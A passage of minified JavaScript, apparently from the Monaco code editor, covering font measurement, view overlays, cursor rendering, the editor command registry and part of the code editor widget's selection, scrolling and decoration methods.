a.FontInfo({zoomLevel:r.getZoomLevel(),fontFamily:n.fontFamily,fontWeight:n.fontWeight,fontSize:n.fontSize,lineHeight:n.lineHeight,letterSpacing:n.letterSpacing,isMonospace:n.isMonospace,typicalHalfwidthCharacterWidth:Math.max(n.typicalHalfwidthCharacterWidth,5),typicalFullwidthCharacterWidth:Math.max(n.typicalFullwidthCharacterWidth,5),spaceWidth:Math.max(n.spaceWidth,5),maxDigitWidth:Math.max(n.maxDigitWidth,5)},!1)),this._writeToCache(e,n)}return this._cache.get(e)},t.createRequest=function(e,t,n,i){var o=new l.CharWidthRequest(e,t);return n.push(o),i&&i.push(o),o},t._actualReadConfiguration=function(e){var t=[],n=[],i=this.createRequest(\"n\",0,t,n),o=this.createRequest(\"ｍ\",0,t,null),s=this.createRequest(\" \",0,t,n),u=this.createRequest(\"0\",0,t,n),c=this.createRequest(\"1\",0,t,n),d=this.createRequest(\"2\",0,t,n),h=this.createRequest(\"3\",0,t,n),p=this.createRequest(\"4\",0,t,n),f=this.createRequest(\"5\",0,t,n),g=this.createRequest(\"6\",0,t,n),m=this.createRequest(\"7\",0,t,n),v=this.createRequest(\"8\",0,t,n),_=this.createRequest(\"9\",0,t,n);this.createRequest(\"→\",0,t,n),this.createRequest(\"·\",0,t,n),this.createRequest(\"|\",0,t,n),this.createRequest(\"/\",0,t,n),this.createRequest(\"-\",0,t,n),this.createRequest(\"_\",0,t,n),this.createRequest(\"i\",0,t,n),this.createRequest(\"l\",0,t,n),this.createRequest(\"m\",0,t,n),this.createRequest(\"|\",1,t,n),this.createRequest(\"_\",1,t,n),this.createRequest(\"i\",1,t,n),this.createRequest(\"l\",1,t,n),this.createRequest(\"m\",1,t,n),this.createRequest(\"n\",1,t,n),this.createRequest(\"|\",2,t,n),this.createRequest(\"_\",2,t,n),this.createRequest(\"i\",2,t,n),this.createRequest(\"l\",2,t,n),this.createRequest(\"m\",2,t,n),this.createRequest(\"n\",2,t,n),l.readCharWidths(e,t);for(var y=Math.max(u.width,c.width,d.width,h.width,p.width,f.width,g.width,m.width,v.width,_.width),C=!0,b=n[0].width,w=1,S=n.length;w<S;w++){var E=b-n[w].width;if(E<-.001||E>.001){C=!1;break}}var L=r.getTimeSinceLastZoomLevelChanged()>2e3;return new a.FontInfo({zoomLevel:r.getZoomLevel(),fontFamily:e.fontFamily,fontWeight:e.fontWeight,fontSize:e.fontSize,lineHeight:e.lineHeight,letterSpacing:e.letterSpacing,isMonospace:C,typicalHalfwidthCharacterWidth:i.width,typicalFullwidthCharacterWidth:o.width,spaceWidth:s.width,maxDigitWidth:y},L)},t.INSTANCE=new t,t}(i.Disposable),p=function(e){function t(t,n){void 0===n&&(n=null);var i=e.call(this,t)||this;return i._elementSizeObserver=i._register(new u.ElementSizeObserver(n,function(){return i._onReferenceDomElementSizeChanged()})),i._register(h.INSTANCE.onDidChange(function(){return i._onCSSBasedConfigurationChanged()})),i._validatedOptions.automaticLayout&&i._elementSizeObserver.startObserving(),i._register(r.onDidChangeZoomLevel(function(e){return i._recomputeOptions()})),i._register(r.onDidChangeAccessibilitySupport(function(){return i._recomputeOptions()})),i._recomputeOptions(),i}return f(t,e),t.applyFontInfoSlow=function(e,t){e.style.fontFamily=t.fontFamily,e.style.fontWeight=t.fontWeight,e.style.fontSize=t.fontSize+\"px\",e.style.lineHeight=t.lineHeight+\"px\",e.style.letterSpacing=t.letterSpacing+\"px\"},t.applyFontInfo=function(e,t){e.setFontFamily(t.fontFamily),e.setFontWeight(t.fontWeight),e.setFontSize(t.fontSize),e.setLineHeight(t.lineHeight),e.setLetterSpacing(t.letterSpacing)},t.prototype._onReferenceDomElementSizeChanged=function(){this._recomputeOptions()},t.prototype._onCSSBasedConfigurationChanged=function(){this._recomputeOptions()},t.prototype.observeReferenceElement=function(e){this._elementSizeObserver.observe(e)},t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype._getExtraEditorClassName=function(){var e=\"\";return r.isIE?e+=\"ie \":r.isFirefox?e+=\"ff \":r.isEdge&&(e+=\"edge \"),o.isMacintosh&&(e+=\"mac \"),e},t.prototype._getEnvConfiguration=function(){return{extraEditorClassName:this._getExtraEditorClassName(),outerWidth:this._elementSizeObserver.getWidth(),outerHeight:this._elementSizeObserver.getHeight(),emptySelectionClipboard:r.isWebKit,pixelRatio:r.getPixelRatio(),zoomLevel:r.getZoomLevel(),accessibilitySupport:r.getAccessibilitySupport()}},t.prototype.readConfiguration=function(e){return h.INSTANCE.readConfiguration(e)},t}(s.CommonEditorConfiguration);t.Configuration=p}),define(d[443],h([1,0,27,112,66,35]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(t){var n=e.call(this,t)||this;return n._visibleLines=new i.VisibleLinesCollection(n),n.domNode=n._visibleLines.domNode,n._dynamicOverlays=[],n._isFocused=!1,n.domNode.setClassName(\"view-overlays\"),n}return f(t,e),t.prototype.shouldRender=function(){if(e.prototype.shouldRender.call(this))return!0;for(var t=0,n=this._dynamicOverlays.length;t<n;t++)if(this._dynamicOverlays[t].shouldRender())return!0;return!1},t.prototype.dispose=function(){e.prototype.dispose.call(this);for(var t=0,n=this._dynamicOverlays.length;t<n;t++)this._dynamicOverlays[t].dispose();this._dynamicOverlays=null},t.prototype.getDomNode=function(){return this.domNode},t.prototype.createVisibleLine=function(){return new a(this._context.configuration,this._dynamicOverlays)},t.prototype.addDynamicOverlay=function(e){this._dynamicOverlays.push(e)},t.prototype.onConfigurationChanged=function(e){this._visibleLines.onConfigurationChanged(e);for(var t=this._visibleLines.getStartLineNumber(),n=this._visibleLines.getEndLineNumber(),i=t;i<=n;i++)this._visibleLines.getVisibleLine(i).onConfigurationChanged(e);return!0},t.prototype.onFlushed=function(e){return this._visibleLines.onFlushed(e)},t.prototype.onFocusChanged=function(e){return this._isFocused=e.isFocused,!0},t.prototype.onLinesChanged=function(e){return this._visibleLines.onLinesChanged(e)},t.prototype.onLinesDeleted=function(e){return this._visibleLines.onLinesDeleted(e)},t.prototype.onLinesInserted=function(e){return this._visibleLines.onLinesInserted(e)},t.prototype.onScrollChanged=function(e){return this._visibleLines.onScrollChanged(e)||!0},t.prototype.onTokensChanged=function(e){return this._visibleLines.onTokensChanged(e)},t.prototype.onZonesChanged=function(e){return this._visibleLines.onZonesChanged(e)},t.prototype.prepareRender=function(e){for(var t=this._dynamicOverlays.filter(function(e){return e.shouldRender()}),n=0,i=t.length;n<i;n++){var o=t[n];o.prepareRender(e),o.onDidRender()}return null},t.prototype.render=function(e){this._viewOverlaysRender(e),this.domNode.toggleClassName(\"focused\",this._isFocused)},t.prototype._viewOverlaysRender=function(e){this._visibleLines.renderLines(e.viewportData)},t}(r.ViewPart);t.ViewOverlays=s;var a=function(){function e(e,t){this._configuration=e,this._lineHeight=this._configuration.editor.lineHeight,this._dynamicOverlays=t,this._domNode=null,this._renderedContent=null}return e.prototype.getDomNode=function(){return this._domNode?this._domNode.domNode:null},e.prototype.setDomNode=function(e){this._domNode=n.createFastDomNode(e)},e.prototype.onContentChanged=function(){},e.prototype.onTokensChanged=function(){},e.prototype.onConfigurationChanged=function(e){e.lineHeight&&(this._lineHeight=this._configuration.editor.lineHeight)},e.prototype.renderLine=function(e,t,n){for(var i=\"\",o=0,r=this._dynamicOverlays.length;o<r;o++)i+=this._dynamicOverlays[o].render(n.startLineNumber,e);return this._renderedContent===i?null:(this._renderedContent=i,'<div style=\"position:absolute;top:'+t+\"px;width:100%;height:\"+this._lineHeight+'px;\">'+i+\"</div>\")},e.prototype.layoutLine=function(e,t){this._domNode&&(this._domNode.setTop(t),this._domNode.setHeight(this._lineHeight))},e}();t.ViewOverlayLine=a;var u=function(e){function t(t){var n=e.call(this,t)||this;return n._contentWidth=n._context.configuration.editor.layoutInfo.contentWidth,n.domNode.setHeight(0),n}return f(t,e),t.prototype.onConfigurationChanged=function(t){return t.layoutInfo&&(this._contentWidth=this._context.configuration.editor.layoutInfo.contentWidth),e.prototype.onConfigurationChanged.call(this,t)},t.prototype.onScrollChanged=function(t){return e.prototype.onScrollChanged.call(this,t)||t.scrollWidthChanged},t.prototype._viewOverlaysRender=function(t){e.prototype._viewOverlaysRender.call(this,t),this.domNode.setWidth(Math.max(t.scrollWidth,this._contentWidth))},t}(s);t.ContentViewOverlays=u;var l=function(e){function t(t){var n=e.call(this,t)||this;return n._contentLeft=n._context.configuration.editor.layoutInfo.contentLeft,n.domNode.setClassName(\"margin-view-overlays\"),n.domNode.setWidth(1),o.Configuration.applyFontInfo(n.domNode,n._context.configuration.editor.fontInfo),n}return f(t,e),t.prototype.onConfigurationChanged=function(t){var n=!1;return t.fontInfo&&(o.Configuration.applyFontInfo(this.domNode,this._context.configuration.editor.fontInfo),n=!0),t.layoutInfo&&(this._contentLeft=this._context.configuration.editor.layoutInfo.contentLeft,n=!0),e.prototype.onConfigurationChanged.call(this,t)||n},t.prototype.onScrollChanged=function(t){return e.prototype.onScrollChanged.call(this,t)||t.scrollHeightChanged},t.prototype._viewOverlaysRender=function(t){e.prototype._viewOverlaysRender.call(this,t);var n=Math.min(t.scrollHeight,1e6);this.domNode.setHeight(n),this.domNode.setWidth(this._contentLeft)},t}(s);t.MarginViewOverlays=l}),define(d[444],h([1,0,27,12,2,49,66,4]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u=function(){return function(e,t,n,i){this.top=e,this.left=t,this.width=n,this.textContent=i}}(),l=function(){function e(e,t){this._context=e,this._isSecondary=t,this._cursorStyle=this._context.configuration.editor.viewInfo.cursorStyle,this._lineHeight=this._context.configuration.editor.lineHeight,this._typicalHalfwidthCharacterWidth=this._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth,this._isVisible=!0,this._domNode=n.createFastDomNode(document.createElement(\"div\")),this._isSecondary?this._domNode.setClassName(\"cursor secondary\"):this._domNode.setClassName(\"cursor\"),this._domNode.setHeight(this._lineHeight),this._domNode.setTop(0),this._domNode.setLeft(0),s.Configuration.applyFontInfo(this._domNode,this._context.configuration.editor.fontInfo),this._domNode.setDisplay(\"none\"),this.updatePosition(new i.Position(1,1)),this._isInEditableRange=!0,this._lastRenderedContent=\"\",this._renderData=null}return e.prototype.getDomNode=function(){return this._domNode},e.prototype.getIsInEditableRange=function(){return this._isInEditableRange},e.prototype.getPosition=function(){return this._position},e.prototype.show=function(){this._isVisible||(this._domNode.setVisibility(\"inherit\"),this._isVisible=!0)},e.prototype.hide=function(){this._isVisible&&(this._domNode.setVisibility(\"hidden\"),this._isVisible=!1)},e.prototype.onConfigurationChanged=function(e){return e.lineHeight&&(this._lineHeight=this._context.configuration.editor.lineHeight),e.viewInfo&&(this._cursorStyle=this._context.configuration.editor.viewInfo.cursorStyle),e.fontInfo&&(s.Configuration.applyFontInfo(this._domNode,this._context.configuration.editor.fontInfo),this._typicalHalfwidthCharacterWidth=this._context.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth),!0},e.prototype.onCursorPositionChanged=function(e,t){return this.updatePosition(e),this._isInEditableRange=t,!0},e.prototype._prepareRender=function(e){if(this._cursorStyle===r.TextEditorCursorStyle.Line||this._cursorStyle===r.TextEditorCursorStyle.LineThin){var t=e.visibleRangeForPosition(this._position);if(!t)return null;var n;n=this._cursorStyle===r.TextEditorCursorStyle.Line?a.computeScreenAwareSize(2):a.computeScreenAwareSize(1);var i=e.getVerticalOffsetForLineNumber(this._position.lineNumber)-e.bigNumbersDelta;return new u(i,t.left,n,\"\")}var s=e.linesVisibleRangesForRange(new o.Range(this._position.lineNumber,this._position.column,this._position.lineNumber,this._position.column+1),!1);if(!s||0===s.length||0===s[0].ranges.length)return null;var l=s[0].ranges[0],c=l.width<1?this._typicalHalfwidthCharacterWidth:l.width,d=\"\";this._cursorStyle===r.TextEditorCursorStyle.Block&&(d=this._context.model.getLineContent(this._position.lineNumber).charAt(this._position.column-1));var h=e.getVerticalOffsetForLineNumber(this._position.lineNumber)-e.bigNumbersDelta;return new u(h,l.left,c,d)},e.prototype.prepareRender=function(e){this._renderData=this._prepareRender(e)},e.prototype.render=function(e){return this._renderData?(this._lastRenderedContent!==this._renderData.textContent&&(this._lastRenderedContent=this._renderData.textContent,this._domNode.domNode.textContent=this._lastRenderedContent),this._domNode.setDisplay(\"block\"),this._domNode.setTop(this._renderData.top),this._domNode.setLeft(this._renderData.left),this._domNode.setWidth(this._renderData.width),this._domNode.setLineHeight(this._lineHeight),this._domNode.setHeight(this._lineHeight),{domNode:this._domNode.domNode,position:this._position,contentLeft:this._renderData.left,height:this._lineHeight,width:2}):(this._domNode.setDisplay(\"none\"),null)},e.prototype.updatePosition=function(e){this._position=e},e}();t.ViewCursor=l}),define(d[58],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ITelemetryService=n.createDecorator(\"telemetryService\")}),define(d[13],h([1,0,10,24,31,105,44,58,12,56,85,64,19,42]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";function g(e){return e.get(p.ICodeEditorService).getFocusedCodeEditor()}function m(e){var t=e.get(d.IEditorService),n=t.getActiveEditor&&t.getActiveEditor();return p.getCodeEditor(n)}function v(e){return w.registerEditorCommand(e),e}Object.defineProperty(t,\"__esModule\",{value:!0});var y=function(){function e(e){this.id=e.id,this.precondition=e.precondition,this._kbOpts=e.kbOpts,this._description=e.description}return e.prototype.toCommandAndKeybindingRule=function(e){var t=this,n=this._kbOpts||{primary:0},i=n.kbExpr;this.precondition&&(i=i?h.ContextKeyExpr.and(i,this.precondition):this.precondition);var o=\"number\"==typeof n.weight?n.weight:e;return{id:this.id,handler:function(e,n){return t.runCommand(e,n)},weight:o,when:i,primary:n.primary,secondary:n.secondary,win:n.win,linux:n.linux,mac:n.mac,description:this._description}},e}();t.Command=y;var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.bindToContribution=function(e){return function(t){function n(e){var n=t.call(this,e)||this;return n._callback=e.handler,n}return f(n,t),n.prototype.runEditorCommand=function(t,n,i){e(n)&&this._callback(e(n))},n}(t)},t.prototype.runCommand=function(e,t){var n=this,i=g(e);if(i||(i=m(e)),i)return i.invokeWithinContext(function(e){if(e.get(h.IContextKeyService).contextMatchesRules(n.precondition))return n.runEditorCommand(e,i,t)})},t}(y);t.EditorCommand=C;var b=function(e){function t(t){var n=e.call(this,t)||this;return n.label=t.label,n.alias=t.alias,n.menuOpts=t.menuOpts,n}return f(t,e),t.prototype.toMenuItem=function(){return this.menuOpts?{command:{id:this.id,title:this.label},when:this.precondition,group:this.menuOpts.group,order:this.menuOpts.order}:null},t.prototype.runEditorCommand=function(e,t,n){return this.reportTelemetry(e,t),this.run(e,t,n||{})},t.prototype.reportTelemetry=function(e,t){e.get(a.ITelemetryService).publicLog(\"editorActionInvoked\",_({name:this.label,id:this.id},t.getTelemetryData()))},t}(C);t.EditorAction=b,t.editorAction=function(e){w.registerEditorAction(new e)},t.editorCommand=function(e){v(new e)},t.registerEditorCommand=v,t.commonEditorContribution=function(e){E.INSTANCE.registerEditorContribution(e)};var w;!function(e){function t(e,t){o.CommandsRegistry.registerCommand(e,function(e,n){return t(e,n||{})})}e.registerEditorAction=function(e){E.INSTANCE.registerEditorAction(e)},e.getEditorActions=function(){return E.INSTANCE.getEditorActions()},e.getEditorCommand=function(e){return E.INSTANCE.getEditorCommand(e)},e.getEditorContributions=function(){return E.INSTANCE.getEditorContributions()},e.commandWeight=function(e){return void 0===e&&(e=0),r.KeybindingsRegistry.WEIGHT.editorContrib(e)},e.registerEditorCommand=function(e){E.INSTANCE.registerEditorCommand(e)},e.registerLanguageCommand=t,e.registerDefaultLanguageCommand=function(e,o){t(e,function(e,t){var r=t.resource,s=t.position;if(!(r instanceof i.default))throw n.illegalArgument(\"resource\");if(!u.Position.isIPosition(s))throw n.illegalArgument(\"position\");var a=e.get(l.IModelService).getModel(r);if(!a)throw n.illegalArgument(\"Can not find open model for \"+r);var c=u.Position.lift(s);return o(a,c,t)})}}(w=t.CommonEditorRegistry||(t.CommonEditorRegistry={}));var S={EditorCommonContributions:\"editor.commonContributions\"},E=function(){function e(){this.editorContributions=[],this.editorActions=[],this.editorCommands=Object.create(null)}return e.prototype.registerEditorContribution=function(e){this.editorContributions.push(e)},e.prototype.registerEditorAction=function(e){var t=e.toMenuItem();t&&c.MenuRegistry.appendMenuItem(c.MenuId.EditorContext,t),r.KeybindingsRegistry.registerCommandAndKeybindingRule(e.toCommandAndKeybindingRule(r.KeybindingsRegistry.WEIGHT.editorContrib())),this.editorActions.push(e)},e.prototype.getEditorContributions=function(){return this.editorContributions.slice(0)},e.prototype.getEditorActions=function(){return this.editorActions.slice(0)},e.prototype.registerEditorCommand=function(e){r.KeybindingsRegistry.registerCommandAndKeybindingRule(e.toCommandAndKeybindingRule(r.KeybindingsRegistry.WEIGHT.editorContrib())),this.editorCommands[e.id]=e},e.prototype.getEditorCommand=function(e){return this.editorCommands[e]||null},e.INSTANCE=new e,e}();s.Registry.add(S.EditorCommonContributions,E.INSTANCE)}),define(d[447],h([1,0,10,11,3,7,84,19,321,39,12,2,22,20,330,488,406,55,21,13]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var b=0,w=function(e){function t(t,n,o,r){var u=e.call(this)||this;return u._onDidDispose=u._register(new i.Emitter),u.onDidDispose=u._onDidDispose.event,u._onDidChangeModelContent=u._register(new i.Emitter),u.onDidChangeModelContent=u._onDidChangeModelContent.event,u._onDidChangeModelLanguage=u._register(new i.Emitter),u.onDidChangeModelLanguage=u._onDidChangeModelLanguage.event,u._onDidChangeModelOptions=u._register(new i.Emitter),u.onDidChangeModelOptions=u._onDidChangeModelOptions.event,u._onDidChangeModelDecorations=u._register(new i.Emitter),u.onDidChangeModelDecorations=u._onDidChangeModelDecorations.event,u._onDidChangeConfiguration=u._register(new i.Emitter),u.onDidChangeConfiguration=u._onDidChangeConfiguration.event,u._onDidChangeModel=u._register(new i.Emitter),u.onDidChangeModel=u._onDidChangeModel.event,u._onDidChangeCursorPosition=u._register(new i.Emitter),u.onDidChangeCursorPosition=u._onDidChangeCursorPosition.event,u._onDidChangeCursorSelection=u._register(new i.Emitter),u.onDidChangeCursorSelection=u._onDidChangeCursorSelection.event,u._onDidLayoutChange=u._register(new i.Emitter),u.onDidLayoutChange=u._onDidLayoutChange.event,u._onDidFocusEditorText=u._register(new i.Emitter),u.onDidFocusEditorText=u._onDidFocusEditorText.event,u._onDidBlurEditorText=u._register(new i.Emitter),u.onDidBlurEditorText=u._onDidBlurEditorText.event,u._onDidFocusEditor=u._register(new i.Emitter),u.onDidFocusEditor=u._onDidFocusEditor.event,u._onDidBlurEditor=u._register(new i.Emitter),u.onDidBlurEditor=u._onDidBlurEditor.event,u._onWillType=u._register(new i.Emitter),u.onWillType=u._onWillType.event,u._onDidType=u._register(new i.Emitter),u.onDidType=u._onDidType.event,u._onDidPaste=u._register(new i.Emitter),u.onDidPaste=u._onDidPaste.event,u.domElement=t,u.id=++b,u._decorationTypeKeysToIds={},u._decorationTypeSubtypes={},n=n||{},u._configuration=u._register(u._createConfiguration(n)),u._register(u._configuration.onDidChange(function(e){u._onDidChangeConfiguration.fire(e),e.layoutInfo&&u._onDidLayoutChange.fire(u._configuration.editor.layoutInfo)})),u._contextKeyService=u._register(r.createScoped(u.domElement)),u._register(new S(u,u._contextKeyService)),u._register(new v.EditorModeContext(u,u._contextKeyService)),u._instantiationService=o.createChild(new s.ServiceCollection([a.IContextKeyService,u._contextKeyService])),u._attachModel(null),u._contributions={},u._actions={},u}return f(t,e),t.prototype.getId=function(){return this.getEditorType()+\":\"+this.id},t.prototype.getEditorType=function(){return p.EditorType.ICodeEditor},t.prototype.destroy=function(){this.dispose()},t.prototype.dispose=function(){for(var t=Object.keys(this._contributions),n=0,i=t.length;n<i;n++){var o=t[n];this._contributions[o].dispose()}this._contributions={},this._actions={},this._postDetachModelCleanup(this._detachModel()),this._onDidDispose.fire(),e.prototype.dispose.call(this)},t.prototype.invokeWithinContext=function(e){return this._instantiationService.invokeFunction(e)},t.prototype.updateOptions=function(e){this._configuration.updateOptions(e)},t.prototype.getConfiguration=function(){return this._configuration.editor},t.prototype.getRawConfiguration=function(){return this._configuration.getRawOptions()},t.prototype.getValue=function(e){if(void 0===e&&(e=null),this.model){var t=!(!e||!e.preserveBOM),n=p.EndOfLinePreference.TextDefined;return e&&e.lineEnding&&\"\\n\"===e.lineEnding?n=p.EndOfLinePreference.LF:e&&e.lineEnding&&\"\\r\\n\"===e.lineEnding&&(n=p.EndOfLinePreference.CRLF),this.model.getValue(n,t)}return\"\"},t.prototype.setValue=function(e){this.model&&this.model.setValue(e)},t.prototype.getModel=function(){return this.model},t.prototype.setModel=function(e){if(void 0===e&&(e=null),this.model!==e){var t=this._detachModel();this._attachModel(e);var n={oldModelUrl:t?t.uri:null,newModelUrl:e?e.uri:null};this._onDidChangeModel.fire(n),this._postDetachModelCleanup(t)}},t.prototype.getCenteredRangeInViewport=function(){return this.hasView?this.viewModel.getCenteredRangeInViewport():null},t.prototype.getVisibleColumnFromPosition=function(e){if(!this.model)return e.column;var t=this.model.validatePosition(e),n=this.model.getOptions().tabSize;return l.CursorColumns.visibleColumnFromColumn(this.model.getLineContent(t.lineNumber),t.column,n)+1},t.prototype.getPosition=function(){return this.cursor?this.cursor.getPosition().clone():null},t.prototype.setPosition=function(e,t,n,i){if(void 0===t&&(t=!1),void 0===n&&(n=!1),void 0===i&&(i=!1),this.cursor){if(!c.Position.isIPosition(e))throw new Error(\"Invalid arguments\");this.cursor.setSelections(\"api\",[{selectionStartLineNumber:e.lineNumber,selectionStartColumn:e.column,positionLineNumber:e.lineNumber,positionColumn:e.column}]),t&&this.revealPosition(e,n,i)}},t.prototype._sendRevealRange=function(e,t,n){if(this.model&&this.cursor){if(!d.Range.isIRange(e))throw new Error(\"Invalid arguments\");var i=this.model.validateRange(e),o=this.viewModel.coordinatesConverter.convertModelRangeToViewRange(i);this.cursor.emitCursorRevealRange(o,t,n)}},t.prototype.revealLine=function(e){this._revealLine(e,0)},t.prototype.revealLineInCenter=function(e){this._revealLine(e,1)},t.prototype.revealLineInCenterIfOutsideViewport=function(e){this._revealLine(e,2)},t.prototype._revealLine=function(e,t){if(\"number\"!=typeof e)throw new Error(\"Invalid arguments\");this._sendRevealRange(new d.Range(e,1,e,1),t,!1)},t.prototype.revealPosition=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1),this._revealPosition(e,t?1:0,n)},t.prototype.revealPositionInCenter=function(e){this._revealPosition(e,1,!0)},t.prototype.revealPositionInCenterIfOutsideViewport=function(e){this._revealPosition(e,2,!0)},t.prototype._revealPosition=function(e,t,n){if(!c.Position.isIPosition(e))throw new Error(\"Invalid arguments\");this._sendRevealRange(new d.Range(e.lineNumber,e.column,e.lineNumber,e.column),t,n)},t.prototype.getSelection=function(){return this.cursor?this.cursor.getSelection().clone():null},t.prototype.getSelections=function(){if(!this.cursor)return null;for(var e=this.cursor.getSelections(),t=[],n=0,i=e.length;n<i;n++)t[n]=e[n].clone();return t},t.prototype.setSelection=function(e,t,n,i){void 0===t&&(t=!1),void 0===n&&(n=!1),void 0===i&&(i=!1);var o=h.Selection.isISelection(e),r=d.Range.isIRange(e);if(!o&&!r)throw new Error(\"Invalid arguments\");if(o)this._setSelectionImpl(e,t,n,i);else if(r){var s={selectionStartLineNumber:e.startLineNumber,selectionStartColumn:e.startColumn,positionLineNumber:e.endLineNumber,positionColumn:e.endColumn};this._setSelectionImpl(s,t,n,i)}},t.prototype._setSelectionImpl=function(e,t,n,i){if(this.cursor){var o=new h.Selection(e.selectionStartLineNumber,e.selectionStartColumn,e.positionLineNumber,e.positionColumn);this.cursor.setSelections(\"api\",[o]),t&&this.revealRange(o,n,i)}},t.prototype.revealLines=function(e,t){this._revealLines(e,t,0)},t.prototype.revealLinesInCenter=function(e,t){this._revealLines(e,t,1)},t.prototype.revealLinesInCenterIfOutsideViewport=function(e,t){this._revealLines(e,t,2)},t.prototype._revealLines=function(e,t,n){if(\"number\"!=typeof e||\"number\"!=typeof t)throw new Error(\"Invalid arguments\");this._sendRevealRange(new d.Range(e,1,t,1),n,!1)},t.prototype.revealRange=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!0),this._revealRange(e,t?1:0,n)},t.prototype.revealRangeInCenter=function(e){this._revealRange(e,1,!0)},t.prototype.revealRangeInCenterIfOutsideViewport=function(e){this._revealRange(e,2,!0)},t.prototype.revealRangeAtTop=function(e){this._revealRange(e,3,!0)},t.prototype._revealRange=function(e,t,n){if(!d.Range.isIRange(e))throw new Error(\"Invalid arguments\");this._sendRevealRange(d.Range.lift(e),t,n)},t.prototype.setSelections=function(e){if(this.cursor){if(!e||0===e.length)throw new Error(\"Invalid arguments\");for(var t=0,n=e.length;t<n;t++)if(!h.Selection.isISelection(e[t]))throw new Error(\"Invalid arguments\");this.cursor.setSelections(\"api\",e)}},t.prototype.getScrollWidth=function(){return this.hasView?this.viewModel.viewLayout.getScrollWidth():-1},t.prototype.getScrollLeft=function(){return this.hasView?this.viewModel.viewLayout.getScrollLeft():-1},t.prototype.getScrollHeight=function(){return this.hasView?this.viewModel.viewLayout.getScrollHeight():-1},t.prototype.getScrollTop=function(){return this.hasView?this.viewModel.viewLayout.getScrollTop():-1},t.prototype.setScrollLeft=function(e){if(this.hasView){if(\"number\"!=typeof e)throw new Error(\"Invalid arguments\");this.viewModel.viewLayout.setScrollPosition({scrollLeft:e})}},t.prototype.setScrollTop=function(e){if(this.hasView){if(\"number\"!=typeof e)throw new Error(\"Invalid arguments\");this.viewModel.viewLayout.setScrollPosition({scrollTop:e})}},t.prototype.setScrollPosition=function(e){this.hasView&&this.viewModel.viewLayout.setScrollPosition(e)},t.prototype.saveViewState=function(){if(!this.cursor||!this.hasView)return null;for(var e={},t=Object.keys(this._contributions),n=0,i=t.length;n<i;n++){var o=t[n],r=this._contributions[o];\"function\"==typeof r.saveViewState&&(e[o]=r.saveViewState())}return{cursorState:this.cursor.saveState(),viewState:this.viewModel.viewLayout.saveState(),contributionsState:e}},t.prototype.restoreViewState=function(e){if(this.cursor&&this.hasView&&e&&e.cursorState&&e.viewState){var t=e,n=t.cursorState;Array.isArray(n)?this.cursor.restoreState(n):this.cursor.restoreState([n]),this.viewModel.viewLayout.restoreState(t.viewState);for(var i=e.contributionsState||{},o=Object.keys(this._contributions),r=0,s=o.length;r<s;r++){var a=o[r],u=this._contributions[a];\"function\"==typeof u.restoreViewState&&u.restoreViewState(i[a])}}},t.prototype.onVisible=function(){},t.prototype.onHide=function(){},t.prototype.getContribution=function(e){return this._contributions[e]||null},t.prototype.getActions=function(){for(var e=[],t=Object.keys(this._actions),n=0,i=t.length;n<i;n++){var o=t[n];e.push(this._actions[o])}return e},t.prototype.getSupportedActions=function(){var e=this.getActions();return e=e.filter(function(e){return e.isSupported()})},t.prototype.getAction=function(e){return this._actions[e]||null},t.prototype.trigger=function(e,t,i){if(i=i||{},t===p.Handler.Type){if(!this.cursor||\"string\"!=typeof i.text||0===i.text.length)return;return\"keyboard\"===e&&this._onWillType.fire(i.text),this.cursor.trigger(e,t,i),void(\"keyboard\"===e&&this._onDidType.fire(i.text))}if(t!==p.Handler.Paste){var o=this.getAction(t);if(o)r.TPromise.as(o.run()).done(null,n.onUnexpectedError);else if(this.cursor){var s=C.CommonEditorRegistry.getEditorCommand(t);if(s)return i=i||{},i.source=e,void r.TPromise.as(s.runEditorCommand(null,this,i)).done(null,n.onUnexpectedError);this.cursor.trigger(e,t,i)}}else{if(!this.cursor||\"string\"!=typeof i.text||0===i.text.length)return;var a=this.cursor.getSelection().getStartPosition();this.cursor.trigger(e,t,i);var u=this.cursor.getSelection().getStartPosition();\"keyboard\"===e&&this._onDidPaste.fire(new d.Range(a.lineNumber,a.column,u.lineNumber,u.column))}},t.prototype._getCursors=function(){return this.cursor},t.prototype._getCursorConfiguration=function(){return this.cursor.context.config},t.prototype.pushUndoStop=function(){return!!this.model&&(!this._configuration.editor.readOnly&&(this.model.pushStackElement(),!0))},t.prototype.executeEdits=function(e,t,n){var i=this;return!!this.cursor&&(!this._configuration.editor.readOnly&&(this.model.pushEditOperations(this.cursor.getSelections(),t,function(){return n||i.cursor.getSelections()}),n&&this.cursor.setSelections(e,n),!0))},t.prototype.executeCommand=function(e,t){this.cursor&&this.cursor.trigger(e,p.Handler.ExecuteCommand,t)},t.prototype.executeCommands=function(e,t){this.cursor&&this.cursor.trigger(e,p.Handler.ExecuteCommands,t)},t.prototype.changeDecorations=function(e){return this.model?this.model.changeDecorations(e,this.id):null},t.prototype.getLineDecorations=function(e){return this.model?this.model.getLineDecorations(e,this.id,this._configuration.editor.readOnly):null},t.prototype.deltaDecorations=function(e,t){return this.model?0===e.length&&0===t.length?e:this.model.deltaDecorations(e,t,this.id):[]},t.prototype.setDecorations=function(e,t){var n={},i=this._decorationTypeSubtypes[e]||{};this._decorationTypeSubtypes[e]=n;for(var o=[],r=0,s=t;r<s.length;r++){var a=s[r],u=e;a.renderOptions&&(u=e+\"-\"+(c=m.hash(a.renderOptions).toString(16)),i[c]||n[c]||this._registerDecorationType(u,a.renderOptions,e),n[c]=!0);var l=this._resolveDecorationOptions(u,!!a.hoverMessage);a.hoverMessage&&(l.hoverMessage=a.hoverMessage),o.push({range:a.range,options:l})}for(var c in i)n[c]||this._removeDecorationType(e+\"-\"+c);var 